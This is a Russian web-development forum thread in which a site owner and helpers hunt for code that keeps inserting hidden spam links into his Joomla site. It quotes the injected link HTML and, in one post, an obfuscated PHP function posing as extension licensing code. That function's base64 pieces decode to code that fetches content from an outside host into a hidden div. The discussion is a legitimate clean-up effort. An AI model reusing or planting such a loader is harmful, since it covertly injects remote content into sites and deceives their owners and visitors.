Форум программистов, компьютерный форум, киберфорум
Наши страницы
Безопасность сайтов и серверов
Войти
Регистрация
Восстановить пароль
 
 
Рейтинг 4.86/36: Рейтинг темы: голосов - 36, средняя оценка - 4.86
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
1

Вредоносный код на сайте. Не могу никак найти

30.10.2013, 16:12. Просмотров 6529. Ответов 65
Метки нет (Все метки)

у меня на сайте в исходном коде любой страницы прописан код
HTML5
1
2
3
4
5
6
7
8
9
10
11
.dropcuk dd {position:absolute; overflow:hidden; width:90px; display:none; background:#CCCDDD; z-index:110; opacity:10}
</style>
 
<dl class="dropcuk">
  <dt id="one-dddealer" onmouseover="ddnorze('one',1)" onmouseout="ddnorze('one',-1)"></dt>
  <dd id="one-ddproton" onmouseover="cancelTide('one')" onmouseout="ddmine('one',-1)">
    <ul> 
      <li><a href="http://www.thepaydaynetwork.co.uk/">pingtree</a></li>
    </ul>
  </dd>
</dl>
но никак не могу найти, где он прописан
если нажать на
Код
www.thepaydaynetwork.co.uk
то открывается
Кликните здесь для просмотра всего текста
HTML5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
<!DOCTYPE html>
<!--[if IE 6]>
<html id="ie6" lang="en-US" prefix="og: http://ogp.me/ns#">
<![endif]-->
<!--[if IE 7]>
<html id="ie7" lang="en-US" prefix="og: http://ogp.me/ns#">
<![endif]-->
<!--[if IE 8]>
<html id="ie8" lang="en-US" prefix="og: http://ogp.me/ns#">
<![endif]-->
<!--[if !(IE 6) | !(IE 7) | !(IE 8)  ]><!-->
<html lang="en-US" prefix="og: http://ogp.me/ns#">
<!--<![endif]-->
<head>
<meta charset="UTF-8" />
<title>
</title>
<!--Digital window verification 001 -->
<link rel="pingback" href="http://thepaydaynetwork.co.uk/xmlrpc.php" />
<!--[if lt IE 9]>
   <script src="http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/js/html5.js" type="text/javascript"></script>
<![endif]-->
<script type="text/javascript">
   document.documentElement.className = 'js';
</script>
 
<!-- This site is optimized with the Yoast WordPress SEO plugin v1.4.18 - http://yoast.com/wordpress/seo/ -->
<title>The Payday Network - The UK's Payday Loans Pingtree</title>
<meta name="description" content="The UK's best payday loans pingtree and highest paying affiliate cash machine."/>
<meta name="keywords" content="pingtree, payday loans, affiliate network"/>
<link rel="canonical" href="http://thepaydaynetwork.co.uk/" />
<meta property="og:locale" content="en_US"/>
<meta property="og:type" content="article"/>
<meta property="og:title" content="The Payday Network - The UK's Payday Loans Pingtree"/>
<meta property="og:description" content="The UK's best payday loans pingtree and highest paying affiliate cash machine."/>
<meta property="og:url" content="http://thepaydaynetwork.co.uk/"/>
<meta property="og:site_name" content="The UK's Payday Loans Pingtree"/>
<meta property="og:image" content="http://thepaydaynetwork.co.uk/wp-content/uploads/banner-800x262.jpg"/>
<meta name="google-site-verification" content="b3a7ExiN6k7Bhw1G_njlPURwyh2HfUVGDhlfREtrOO4" />
<meta name="msvalidate.01" content="< ! --Digital window verification 001 --> " />
<!-- / Yoast WordPress SEO plugin. -->
 
<link rel="alternate" type="application/rss+xml" title="The UK's Payday Loans Pingtree &raquo; Feed" href="http://thepaydaynetwork.co.uk/feed/" />
<link rel="alternate" type="application/rss+xml" title="The UK's Payday Loans Pingtree &raquo; Comments Feed" href="http://thepaydaynetwork.co.uk/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="The UK's Payday Loans Pingtree &raquo; The Payday Network Comments Feed" href="http://thepaydaynetwork.co.uk/sample-page/feed/" />
<meta content="Foxy v.1.5" name="generator"/><link rel='stylesheet' id='q-a-plus-css'  href='http://thepaydaynetwork.co.uk/wp-content/plugins/q-and-a/css/q-a-plus.css?ver=1.0.6.2' type='text/css' media='screen' />
<link rel='stylesheet' id='foxy-fonts-open-sans-css'  href='http://fonts.googleapis.com/css?family=Open+Sans:300italic,700italic,800italic,400,300,700,800&subset=latin,latin-ext' type='text/css' media='all' />
<link rel='stylesheet' id='foxy-fonts-raleway-css'  href='http://fonts.googleapis.com/css?family=Raleway:400,100&subset=latin' type='text/css' media='all' />
<link rel='stylesheet' id='foxy-style-css'  href='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/style.css?ver=3.6' type='text/css' media='all' />
<link rel='stylesheet' id='et-shortcodes-css-css'  href='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/shortcodes/css/shortcodes.css?ver=3.0' type='text/css' media='all' />
<link rel='stylesheet' id='et-shortcodes-responsive-css-css'  href='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/shortcodes/css/shortcodes_responsive.css?ver=3.0' type='text/css' media='all' />
<link rel='stylesheet' id='fancybox-css'  href='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/page_templates/js/fancybox/jquery.fancybox-1.3.4.css?ver=1.3.4' type='text/css' media='screen' />
<link rel='stylesheet' id='et_page_templates-css'  href='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/page_templates/page_templates.css?ver=1.8' type='text/css' media='screen' />
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-includes/js/jquery/jquery.js?ver=1.10.2'></script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1'></script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-includes/js/comment-reply.min.js?ver=3.6'></script>
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://thepaydaynetwork.co.uk/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://thepaydaynetwork.co.uk/wp-includes/wlwmanifest.xml" /> 
<meta name="generator" content="WordPress 3.6" />
<!-- Q & A -->
      <noscript><link rel="stylesheet" type="text/css" href="http://thepaydaynetwork.co.uk/wp-content/plugins/q-and-a/css/q-a-plus-noscript.css?ver=1.0.6.2" /></noscript><!-- Q & A -->      <style>
         a { color: #138ec8; }
         body { color: #444444; }
 
         #featured { background-color: #8ad0ef; }
 
         #featured { -webkit-box-shadow: inset 0 0 250px #30a8e0; -moz-box-shadow: inset 0 0 250px #30a8e0; box-shadow: inset 0 0 250px #30a8e0; }
 
         #top-navigation > ul > li.sfHover > a, #top-navigation > ul > li > a:hover, .mobile_nav, #home-tab-area > ul > li.home-tab-active, #footer-bottom li a:hover, .et-product:hover .et-price-button, .et-products li:hover .et-price-button, #callout { background-color: #8ad0ef; }
         @media only screen and (max-width: 767px){
            #callout > strong { background-color: #8ad0ef; }
         }
         #top-navigation > ul > li.sfHover > a, #top-navigation > ul > li > a:hover, #home-tab-area > ul > li.home-tab-active, #footer-bottom li a:hover, .mobile_nav, #callout { -moz-box-shadow: inset 0 0 30px #30a8e0; -webkit-box-shadow: inset 0 0 30px #30a8e0; box-shadow: inset 0 0 30px #30a8e0; }
 
         #progress-time { background-color: #30a8e0; }
         #home-tab-area > ul, .widget h4.widgettitle { border-bottom: 5px solid #30a8e0; }
 
            </style>
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><style type="text/css" id="custom-background-css">
body.custom-background { background-color: #ffffff; }
</style>
</head>
<body class="home page page-id-2 page-template-default custom-background et_color_scheme_blue gecko et_includes_sidebar">
<div id="body-area">
<div class="container">
<header id="main-header" class="clearfix">
    <a href="http://thepaydaynetwork.co.uk/"><img src="http://thepaydaynetwork.co.uk/wp-content/uploads/logo.png" alt="The UK's Payday Loans Pingtree" id="logo"/></a>
    <nav id="top-navigation">
    <ul id="menu-header" class="nav"><li id="menu-item-14" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14"><a href="http://thepaydaynetwork.co.uk/affiliates/">Affiliates</a></li>
<li id="menu-item-16" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-16"><a href="http://thepaydaynetwork.co.uk/lenders/">Lenders</a></li>
<li id="menu-item-26" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26"><a href="http://thepaydaynetwork.co.uk/about-us/">About Us</a></li>
<li id="menu-item-67" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-67"><a href="http://thepaydaynetwork.co.uk/faqs/">FAQ</a></li>
<li id="menu-item-17" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-17"><a href="http://thepaydaynetwork.co.uk/sign-up/">Sign Up</a></li>
<li id="menu-item-268" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-268"><a href="http://thepaydaynetwork.co.uk/partners/">Log In</a></li>
<li id="menu-item-15" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-15"><a href="http://thepaydaynetwork.co.uk/contact/">Contact</a></li>
</ul>  </nav>
  <div id="et_mobile_nav_menu"><a href="#" class="mobile_nav closed">Navigation Menu</a></div></header>
<!-- #main-header -->   <div class="post-thumbnail">
      <img src="http://thepaydaynetwork.co.uk/wp-content/uploads/banner.jpg" alt='The Payday Network' width='1280' height='420' />   </div> <!-- .post-thumbnail -->
 
 
 
<div id="section-area">
 
   <div id="services" class="clearfix">
<div class="service"><h3><a href="http://thepaydaynetwork.co.uk/affiliates/">Affiliates</a></h3>
                              <p>TPN provides the highest conversion rates, the highest commission plans and accurate transparent reporting to its partners. </p>
<p>There is more to gaining high conversion rates than writing a line on a web site. It requires attention to detail from the start, constant supervision of the real time lender integration, continuous communication with lenders to deliver trusted traffic and ongoing innovation to ensure every lead stands a chance of being converted. </p>
                    <div class="home-more"><a href="http://thepaydaynetwork.co.uk/affiliates/">Read More...</a></div>
                              
               
            </div> <!-- end .service --><div class="service"><h3><a href="http://thepaydaynetwork.co.uk/lenders/">Lenders</a></h3>
                              <p>TPN is a compliance led network with strict lead quality control measures. All TPN’s lenders benefit from controlled lead flow with the technical option to exclude traffic by source where conversion to loan isn’t optimal or any fraud is evident.</p>
<p>Our objective is to work with each lender to understand their desired conversion to loan rates for accepted traffic and to exceed these rates.</p>
                    <div class="home-more"><a href="http://thepaydaynetwork.co.uk/lenders/">Read More...</a></div>
                              
               
            </div> <!-- end .service --><div class="service last"><h3><a href="http://thepaydaynetwork.co.uk/about-us/">About Us</a></h3>
                              <p>The TPN team have been active in the UK Payday Loans sector since its inception, have shaped it and developed most current methods for driving income through it.</p>
<p>We encouraged major lenders like PaydayExpress, CashGenie, OneMonthloan and Wonga to work with affiliate networks and led the development of their integration to this environment.</p>
<p>We are trusted by affiliates, lenders and all connected businesses equally. </p>
                    <div class="home-more"><a href="http://thepaydaynetwork.co.uk/about-us/">Read More...</a></div>
                              
               
            </div> <!-- end .service -->   </div> <!-- #services -->
 
   <a id="callout" href="/sign-up">
      <strong>More Lenders, Higher Payouts, <span>More Profits</span></strong>
      <span>Signup Today!</span>
   </a>
 
</div> <!-- #section-area -->
 
 
 
 
<div id="home-info" class="clearfix">
 
   <div id="home-tab-area">
      <ul>
            <li class="home-tab-active">What We Do</li>
                  <li>Advanced Tracking</li>
                  <li>Easy Integration</li>
               </ul>
   
      <div id="home-tabs-content">
            <div class="home-tab-slide">
                  <p><em>Simply put, we provide an easy plug and play way for affiliates to market the highly rewarding Payday Loans product and the support and knowledge to assist them to utilise their expertise in marketing in this space – Mark Kennedy CEO.</em></p>
<p>Beneath this we maintain a rigorously efficient lead maximisation platform, which ensures that every lead generated has the best chance of conversion. This gives a strong experience to the consumer and better returns to the affiliate.</p>
<p>This is offered to our affiliates with 24/7 access to our knowledge and support to help partners develop profitable programmes in Payday marketing. </p>
            <div class="home-more"><a href="http://thepaydaynetwork.co.uk/what-we-do/">Read More...</a></div>
                     </div> <!-- .home-tab-slide -->
            <div class="home-tab-slide">
                  <p>Lead tracking is central to any Affiliate Network but as usual it is important to expand on the theme to offer everything partners want.</p>
<p>Leads can be submitted with the affiliate code tagged to the customer details via the iframe, XML POST or by directly address one our our sites with the tagging after the URL. Variable text can be added to this to indicate a sub affiliate or a track against a specific campaign. </p>
            <div class="home-more"><a href="http://thepaydaynetwork.co.uk/advanced-tracking/">Read More...</a></div>
                     </div> <!-- .home-tab-slide -->
            <div class="home-tab-slide">
                  <p>The TPN team developed the first easy to use iframes used in the Payday Affiliate sector and the first Affiliate Partner facing web service to support inbound XML POST of data. </p>
<p>We support these and a range of simple methods which allow the most non technical affiliate to quickly and easily plug into the functionality needed to market payday loans. </p>
            <div class="home-more"><a href="http://thepaydaynetwork.co.uk/easy-integration/">Read More...</a></div>
                     </div> <!-- .home-tab-slide -->
         </div> <!-- #home-tabs-content -->
   </div> <!-- #home-tab-area -->
 
   <div id="testimonials">
                  <div class="testimonial">
         <p>Mark Kennedy has been the driving figure in Payday Affiliate Marketing expansion for 5 years.</p>
<p>Mark drove the growth in UK Payday Lenders supporting Affiliate Networks, convincing Wonga, Cashgenie, Onemonthloan, PaydayExpress and many others to undertake extensive development.</p>
<p>He further expanded the UK lender base through direct sales to US based lenders bringing them to the UK.</p>
<p>Mark notably developed the decline data monetisation technique now used by all and which benefits affiliates hugely.</p>
<p>At TPN, Mark continues to innovate to grow revenues for our affiliates. </p>
            <div class="home-more"><a href="http://thepaydaynetwork.co.uk/testimonial/hompage/">Read More...</a></div>
         <div class="testimonial-author">
                     <span class="et-avatar">
               <img src="http://thepaydaynetwork.co.uk/wp-content/uploads/IMG_2039-1-75x75.jpg" class='author-img'  alt='The Boss' width='75' height='75' />            </span>
                     <strong>The Boss</strong>
            <p></p>
         </div>
      </div>
         </div> <!-- #testimonials -->
      
 
</div> <!-- #home-info -->
 
      </div> <!-- .container -->
   </div> <!-- #body-area -->
 
   <div id="footer-area">
      <div class="container">
         
<footer id="main-footer">
   <div id="footer-widgets" class="clearfix">
<div class="footer-widget"><div id="text-4" class="fwidget widget_text"><h4 class="widgettitle">Highest Commission Structure</h4>         <div class="textwidget"><p>The TPN team has been around as long as Payday in the UK and through strong trusted relationships with the lenders we attract the highest commission bands available to pass on to our partners.</p>
</div>
      </div> <!-- end .fwidget --></div> <!-- end .footer-widget --><div class="footer-widget"><div id="text-2" class="fwidget widget_text"><h4 class="widgettitle">Highest Accept Rate</h4>         <div class="textwidget"><p>Through a relentless focus on every step of the customer journey, the longest standing and most technically flexible integration to Payday Lenders available and market leading declined data monetisation, no lead is wasted or dropped. </p>
</div>
      </div> <!-- end .fwidget --></div> <!-- end .footer-widget --><div class="footer-widget last"><div id="customlogowidget-2" class="fwidget widget_customlogowidget"><div class="clearfix">
   <img id="footer-logo" alt="" src="http://thepaydaynetwork.co.uk/wp-content/uploads/footerlogo.png" />
   <p id="footer-copyright"></p>
</div>
<p><p>© 2013 The Payday Network<p> </p>
 
</div> <!-- end .fwidget --></div> <!-- end .footer-widget -->   </div> <!-- end #footer-widgets -->
</footer> <!-- #main-footer -->
         <div id="footer-bottom" class="clearfix">
         <ul id="menu-footer" class="bottom-nav"><li id="menu-item-22" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-2 current_page_item menu-item-22"><a href="http://thepaydaynetwork.co.uk/">Home</a></li>
<li id="menu-item-21" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-21"><a href="http://thepaydaynetwork.co.uk/sign-up/">Sign Up</a></li>
<li id="menu-item-23" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-23"><a href="http://thepaydaynetwork.co.uk/partners">Affiliate Login</a></li>
<li id="menu-item-20" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-20"><a href="http://thepaydaynetwork.co.uk/contact/">Contact</a></li>
</ul>
            <div id="et-social-icons">
                        </div> <!-- #social-icons -->
         </div> <!-- #footer-bottom -->
      </div> <!-- .container -->
   </div> <!-- #footer-area -->
 
   <div id="footer-bottom-area" class="container">
      <p id="copyright">The UK's Payday Loans Pingtree</p>
   </div>
 
   <script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-content/plugins/q-and-a/js/q-a-plus.js?ver=1.0.6.2'></script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/js/superfish.js?ver=1.0'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var et_custom = {"mobile_nav_text":"Navigation Menu"};
/* ]]> */
</script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/js/custom.js?ver=1.0'></script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/page_templates/js/fancybox/jquery.easing-1.3.pack.js?ver=1.3.4'></script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/page_templates/js/fancybox/jquery.fancybox-1.3.4.pack.js?ver=1.3.4'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var et_ptemplates_strings = {"captcha":"Captcha","fill":"Fill","field":"field","invalid":"Invalid email"};
/* ]]> */
</script>
<script type='text/javascript' src='http://thepaydaynetwork.co.uk/wp-content/themes/Foxy/epanel/page_templates/js/et-ptemplates-frontend.js?ver=1.1'></script>
</body>
</html>


Добавлено через 2 минуты
сайт
Код
welltorg.com
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
30.10.2013, 16:12
Ответы с готовыми решениями:

Яндекс выдал сообщение о том, что на сайте вредоносный код
Добрый утро. возникла проблема, на один из сайтов при гуглении его в яндексе...

Помогите пожалуйста найти и удалить вредоносный код на сайте
Здравствуйте дорогие форумчане. У меня сегодня возникла вот такая проблема,...

Найти на сайте вредоносный код, который рассылает спам по почтам и регистрирует ботов
На днях кто та получил доступ к моему сайту и залил свой вредоносный код. В...

Не могу найти вредоносный код в шаблоне
Здравствуйте, помогите найти где спрятан DIV сайт создан на базе joomla 3.0,...

Вредоносный код на сайте
Сайт написан на фреймворке yii1, на самом сайте вредоносных скриптов не...

65
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
16.11.2013, 20:24  [ТС] 41
отключил все модули
ссылки не исчезают
был код
function UniversalAjaxSearchChecks() {
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
// Last Time Edit
$ExtensionAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
// Extension author
$ExtensionName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
// Get Extension Offlajn Name
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
// Get Domain Info
$SystemJoCode = $UnixTimeLastEdit.$ExtensionAuthor.$ExtensionName.$MainDomain;
// Offlajn System
// echo eval(base64_decode($SystemJoCode));
// Copyright (coffee) Offlajn.com
//echo "<div style='position:absolute;left:-4501px;width:531px'> </div>"

}
удалил, оставил
function UniversalAjaxSearchChecks() {

}
?>
результат нулевой
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
16.11.2013, 21:24 42
Может иметь место вариант внедрения в js. Посмотри в исходном коде страницы, какие скрипты (и коды) подключаются в заголовок файла. Вредоносный код может внедряться также и во время обработки плагинами.
Скинь ка ссылку на сайт мне в ЛС. Хочу взглянуть на исходный код страницы.

Добавлено через 17 минут
если это welltorg твой сайт, то он нормально отображается, без всякой гадости.
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
17.11.2013, 11:02  [ТС] 43
есть сервис _http://xseo.in/links
изначально он показывал всего 3 ссылки. другие ничего не показывали - я подумал, что глюк
чтоб не пересказывать, то
_http://www.forum.zvirec.com/viewtopic.php?f=46&t=16932
_http://www.maultalk.com/topic160487.html
_http://forum.searchengines.ru/showthread.php?t=809715
_http://joomla-support.ru/thread43253.html
ее нашли и удалили
через какое-то время я проверил опять и их стало 7
одну в модуле нашли и удалили, 1 отвалилась сама.
теперь я думаю что икссео не глючит, а нормально показывает, просто мы пока не можем найти их.
**************************************************
я пошел дальше и проверил, вы и сами можете проверить, сайт _my-quid.com через _http://xseo.in/smz и увидите что наш сайт там присутствует
562 _http://welltorg.com/Eto-interesno/realstoriesofavtostops.html
572 _http://welltorg.com/Amortizatory.html
но на тех страницах, все чисто. значит ссылки перемещаются.

Добавлено через 2 минуты
_http://2ip.ru/site-virus-scaner/ пишет, что
Подозрение на вирус!
На сайте обнаружены iframe-вставки, ссылающиеся на сомнительные сайты либо обфусицированный код.
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
17.11.2013, 13:25 44
Сервис 2ip слишком категоричен. На моем сайте он тоже находит обфусцированный код, но это отрабатывает моя система по сокращению js и уменьшению кол-ва запросов. Посмотрю на результаты анализа твоего сайта, может какая идея и появится.

Но твой сайт welltorg? Не мукоед ведь? А на welltorg в браузере все нормально (вчера было).
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
17.11.2013, 13:37  [ТС] 45
Цитата Сообщение от esculap_ra Посмотреть сообщение
Не мукоед ведь
не
наш сайт _welltorg.com
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
17.11.2013, 14:06 46
Сейчас все чисто. Пока не знаю. Тех ссылок, что обнаружил сервис нет. Просто они могли быть ранее, но еще не удалены из кэша результатов на сервисе.
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
17.11.2013, 14:53  [ТС] 47
просто ситуация такова.
была ссылка _thepaydaynetwork.co.uk и сервис ее показывал
нашли где она была прописана в модуле слайдшоу и как только удалили из кода, то сервис СРАЗУ же показал на 1 меньше, т.е. я не ждал месяц или неделю. 5 минут и ссылки он не показывает. потом через пару часов отвалилась сама еще 1 ссылка и теперь их 5.
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
17.11.2013, 16:16 48
Gordon13, ты не те ссылки стараешься найти! zvirec и maultalk, я посмотрел по Solomono, это ссылки на твой ресурс, то есть входящие.
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
17.11.2013, 17:03  [ТС] 49
Цитата Сообщение от esculap_ra Посмотреть сообщение
Gordon13, ты не те ссылки стараешься найти! zvirec и maultalk, я посмотрел по Solomono, это ссылки на твой ресурс, то есть входящие.
я знаю
это просто мои темы на этих форумах
я хочу найти эти, потому что проверяя этот форум и др некоторые, ссылок нет
а те, которые удалили и те, что остались все с одного огорода
поэтому они есть, осталось только найти их
0
Миниатюры
Вредоносный код на сайте. Не могу никак найти  
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
17.11.2013, 18:16 50
Так причем тут вредоносный код? Читай внимательно на сервисе "Скрипт не ищет ссылки на сайте, а показывает только проиндексированные поисковиками..."

Тогда уж резон искать по внешним ссылкам на тех сайтах, куда якобы ссылается твой.
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
17.11.2013, 18:23  [ТС] 51
ну дак правильно
если проиндексировались - значит сидят где-то
Цитата Сообщение от esculap_ra Посмотреть сообщение
Тогда уж резон искать по внешним ссылкам на тех сайтах, куда якобы ссылается твой.
это как сделать???
0
sim0n
5 / 5 / 0
Регистрация: 30.10.2013
Сообщений: 26
18.11.2013, 18:52 52
Цитата Сообщение от GORDON13 Посмотреть сообщение
это что такое? и можно по-подробнее
это команда которая находит заданный текст в файлах
то есть вы можете найти где находятся все вирусные ссылки

Например

у вас на сайте появился вредоносный код который перенаправляет всех на virus.com
у меня такое было

grep -r 'virus.com' /var/www/mysite.com/html/

разберем по частям
grep -r - сама команда поиска
'virus.com' текст или ссылка которую нужно искать
/var/www/mysite.com/html/ путь где нужно искать

если получаем очень много результатов то можно сделать вывод в файл
вот так
grep -r 'virus.com' /var/www/mysite.com/html/ > result.txt
файл создастся в той папке в который вы запускаете команду
1
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
18.11.2013, 19:30 53
Цитата Сообщение от GORDON13 Посмотреть сообщение
это как сделать???
Заходишь на любой сервис, где можно проанализировать сайт и узнать, какие сайты на него ссылаются. Вводишь для анализа тот сайт, на который, как ты полагаешь, у тебя есть ссылка. Ну и смотришь по результатам (ищешь свой сайт). Лучше брать такой сервис, который позволяет скачать отчет (так проще провести поиск, ведь ссылающихся сайтов может быть тысячи).
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
18.11.2013, 19:44  [ТС] 54
sim0n, спс попробую напрячь товарища, чтоб помог
esculap_ra, какой нормальный сервис???
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
19.11.2013, 04:44 55
Лучше использовать Инструменты Вэбмастера Гугл и Яндекс, так как от них зависят позиции сайта в выдаче и пр.
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
19.11.2013, 14:40  [ТС] 56
проверил другим сервисом 2 ссылки и вуаля
_http://www.seogadget.ru/backlinks?url=my-quid.com&mode=1&max=2500&yandex=1
наш сайт есть в обратных
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
19.11.2013, 14:44 57
GORDON13, значит там должен быть и адрес страницы. От этого давай и отплясывать.
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
19.11.2013, 16:13  [ТС] 58
на новом сервисе только главную показывает, а не другую страницу
0
GORDON13
2 / 2 / 1
Регистрация: 13.02.2013
Сообщений: 84
27.11.2013, 10:32  [ТС] 59
осталось всего 3 ссылки
остальные сами отвалились.
как найти скрытый скрипт, который их периодически проставляет???
0
esculap_ra
306 / 174 / 32
Регистрация: 22.08.2010
Сообщений: 786
Записей в блоге: 1
27.11.2013, 15:09 60
Цитата Сообщение от GORDON13 Посмотреть сообщение
как найти скрытый скрипт, который их периодически проставляет???
Как бы поступил я (считаем, что скрипт внедрен извне):
1. Скачал на локалку все файлы сайта;
2. Инсталлировал нормальный дистрибутив;
3. Произвел сравнение файлов в директориях.
Не помню сейчас, как называется эта прога (у меня на другой машине, дома), которая сравнит файлы не только по именам, но и по размерам.

Потребуется, разумеется, некоторое время, но все лучше, чем гадать на кофейной гуще.
0
27.11.2013, 15:09
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
27.11.2013, 15:09

Удалить вредоносный код на сайте
Всем доброго времени суток. Есть такой сайт. Сайт на CMS NetCat Столкнулся с...

Мне нужно сделать одну вещь на сайте. Но никак не могу разобраться
Есть такой JS-скриптик $(document).ready(function(){...

Никак не могу анписать код программы
Так сказать программа &quot;Угадай-ка&quot; у нас есть фиксированное число - мы его...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
60
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru